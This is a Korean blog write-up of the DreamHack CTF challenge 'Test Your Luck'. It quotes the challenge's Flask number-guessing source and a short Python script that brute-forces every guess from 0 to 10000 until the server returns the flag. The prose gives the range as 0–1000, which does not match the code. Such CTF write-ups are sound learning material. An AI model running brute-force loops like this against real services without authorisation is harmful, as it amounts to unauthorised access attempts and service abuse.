[DreamHack] Test Your Luck Write-up
2025. 6. 8. 20:17ㆍ보안/웹
728x90
문제에 들어가면 이런 창이 나오고 아무 숫자나 입력하면 10초 기다리다가
이렇게 다시 시도하라는 문구가 나온다.
코드를 보면
from flask import Flask, render_template, request, jsonify
import random
app = Flask(__name__)
NUMBER_RANGE = (0, 10000)
TARGET_NUMBER = random.randint(*NUMBER_RANGE)
def flag():
try:
FLAG = open("./flag", "r").read()
except:
FLAG = "[**FLAG**]"
return FLAG
@app.route('/')
def index():
return render_template('index.html', range=NUMBER_RANGE)
@app.route('/guess', methods=['POST'])
def guess_number():
user_guess = int(request.form['guess'])
if user_guess == TARGET_NUMBER:
return jsonify({"result": "Correct", "flag": flag()})
else:
return jsonify({"result": "Incorrect", "flag": "Try again~!"})
if __name__ == '__main__':
app.run(host="0.0.0.0")
(0,1000) 범위 사이에 랜덤 값이 지정되어 그 랜덤 값을 맞추면 플래그가 나오는 형식이다.
Brute Force 공격을 하는 코드를 짜주어 문제를 해결하였다.
import requests
START = 0
END = 10000
for guess in range(START, END + 1):
try:
res = requests.post(URL, data={'guess': str(guess)})
json_data = res.json()
if json_data.get('result') == 'Correct':
print(f"\n[+] 정답 발견! 🎯 guess = {guess}")
print(f"[+] FLAG: {json_data.get('flag')}")
break
else:
print(f"[-] {guess}: Incorrect")
except Exception as e:
print(f"[!] 오류 발생 (guess={guess}): {e}")
너무 안나오길래 잘못 한줄 알았는데 정말 마지막에 나왔다.. 그래서 제목이 Test Your Luck 인 것 같다.
서버가 다시 시작될때마다 숫자가 바뀌는 형식인 것 같다.
728x90
'보안 > 웹' 카테고리의 다른 글
[DreamHack] baby-Case Write-up (3) | 2025.06.09 |
---|---|
[DreamHack] My Best Friend Write-up (0) | 2025.06.08 |
[DreamHack] Replace Trick! Write-up (0) | 2025.01.06 |
[DreamHack] Find The Lost Flag Write-up (1) | 2025.01.06 |
[DreamHack] web-misconf-1 Write-up (1) | 2024.12.26 |